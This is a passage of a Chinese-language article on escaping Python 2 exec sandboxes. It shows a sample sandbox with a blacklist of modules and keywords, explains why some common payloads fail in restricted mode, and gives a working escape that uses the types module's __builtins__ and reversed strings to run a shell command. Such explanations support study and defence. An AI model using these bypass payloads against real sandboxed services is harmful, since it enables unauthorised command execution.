  19.                         'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new', 
  20.                         'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib', 
  21.                         'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile', 
  22.                         'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer', 
  23.                         'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer', 
  24.                         'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib', 
  25.                         'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2', 
  26.                         'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport'] 
  27.     for forbid in module_blacklist: 
  28.         if name == forbid:        # don't let user import these modules 
  29.             raise RuntimeError('No you can\' import {0}!!!'.format(forbid)) 
  30.     # normal modules can be imported 
  31.     return __import__(name, *args, **kwargs) 
  32.  
  33. def sandbox_filter(command): 
  34.     blacklist = ['exec', 'sh', '__getitem__', '__setitem__', 
  35.                  '=', 'open', 'read', 'sys', ';', 'os'] 
  36.     for forbid in blacklist: 
  37.         if forbid in command: 
  38.             return 0 
  39.     return 1 
  40.  
  41. def sandbox_exec(command):      # sandbox user input 
  42.     result = 0 
  43.     __sandboxed_builtins__ = dict(__builtins__.__dict__) 
  44.     __sandboxed_builtins__['__import__'] = _hook_import_    # hook import 
  45.     del __sandboxed_builtins__['open'] 
  46.     _global = { 
  47.         '__builtins__': __sandboxed_builtins__ 
  48.     } 
  49.     if sandbox_filter(command) == 0: 
  50.         print 'Malicious user input detected!!!' 
  51.         exit(0) 
  52.     command = 'result = ' + command 
  53.     try: 
  54.         exec command in _global     # do calculate in a sandboxed environment 
  55.     except Exception, e: 
  56.         print e 
  57.         return 0 
  58.     result = _global['result']  # extract the result 
  59.     return result 
  60.  
  61. banner() 
  62. while 1: 
  63.     command = getexp() 
  64.     print sandbox_exec(command) 

exec command in _global 這一句就把很多 payload 干掉了,由于 exec 運行在自定義的全局命名空間里,這時候會處于restricted execution mode,這里不贅述了,感興趣可以看這篇文章:傳送門。exec 加上定制的 globals 會使得沙箱安全很多,一些常規(guī)的 payload 是沒法使用的,例如:

  1. >>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__ 
  2. restricted attribute 
  3. >>> getattr(getattr(__import__('types'), 'FileType')('key'), 're''ad')() 
  4. file() constructor not accessible in restricted mode 

不過也正是由于 exec 運行在特定的命名空間里,可以通過其他命名空間里的 __builtins__,比如 types 庫,來執(zhí)行任意命令:

  1. >>> getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami') 
  2. macr0phag3 

五、結(jié)尾

這塊內(nèi)容本身就零散,羅里吧嗦了這么多,希望對大家有幫助,如果有不嚴謹?shù)牡胤较M魑粠煾祩兡苤赋鰜?,共同探?。

責(zé)任編輯:趙寧寧 來源: Freebuf
相關(guān)推薦

2020-03-31 14:40:24

HashMap源碼Java

2022-06-07 10:13:22

前端沙箱對象

2016-08-18 00:21:12

網(wǎng)絡(luò)爬蟲抓取網(wǎng)絡(luò)

2024-08-12 12:30:27

2025-01-20 09:15:00

iOS 18.3蘋果iOS 18

2021-08-02 06:56:19

TypeScript編程語言編譯器

2019-07-01 09:22:15

Linux操作系統(tǒng)硬件

2021-02-21 11:25:17

云計算IaaSPaaS

2021-05-11 10:40:29

JUCAQSJava

2021-05-12 15:16:17

JUCAQSJava

2024-10-10 17:55:57

LinuxACL訪問控制列表

2023-12-18 10:45:31

2019-02-13 15:38:09

存儲虛擬化云計算

2022-04-26 13:41:16

區(qū)塊鏈比特幣數(shù)據(jù)庫

2025-03-25 09:06:11

2023-04-10 11:35:31

評估模型業(yè)務(wù)流程

2024-12-30 07:30:00

PLC通訊協(xié)議

2022-12-07 07:38:07

存儲管理HSM

2022-03-29 08:02:01

數(shù)字孿生能源程序

2023-07-14 08:00:00

ORMRust ORMSQL
點贊
收藏

51CTO技術(shù)棧公眾號